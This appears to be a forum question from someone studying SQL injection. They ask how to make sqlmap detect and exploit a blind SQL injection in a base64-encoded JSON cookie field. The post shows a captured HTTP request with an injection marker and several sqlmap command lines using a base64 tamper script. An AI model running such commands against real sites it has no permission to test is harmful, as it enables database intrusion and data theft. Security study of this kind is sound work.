0

I am studying sqli and I found a blind sqli vulnerability in a cookie and I have exploited manually, however, I would like to detect and exploit it with sqlmap.

Cookie looks like javascript object with this structure: user_info={"username":"MjI=","employee_id":""} where username is the vulnerable point and value is base 64 encoded (MjI=).

enter image description here

I tried several ways such as custom injection marker in username value, but sqlmap has not found injectable points.

sqlmap -r request.txt --level 3 --dbms=mysql --keep-alive  --tamper=base64encode -v

request.txt

GET / HTTP/1.1
Host: site
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site.com/
Connection: close
Cookie: PHPSESSID=j9qgq5b6no3slsb0ctr2a4ge21; user_info={"username":"*","employee_id":""}
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Also, I set cookie value as parameter but it does not work:

sqlmap -u "http://site" --level 3 --cookie="user_info={\"username\":\"MjI=\",\"employee_id\":\"\"}"  --dbms=mysql --keep-alive --tamper=base64encode -v

sqlmap -u "http://site" --level 3 --cookie="user_info={\"username\":\"MjI=\",\"employee_id\":\"\"}" -p "user_info.username" --dbms=mysql --keep-alive --tamper=base64encode -v

How could I use sqlmap to detect and exploit it?

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.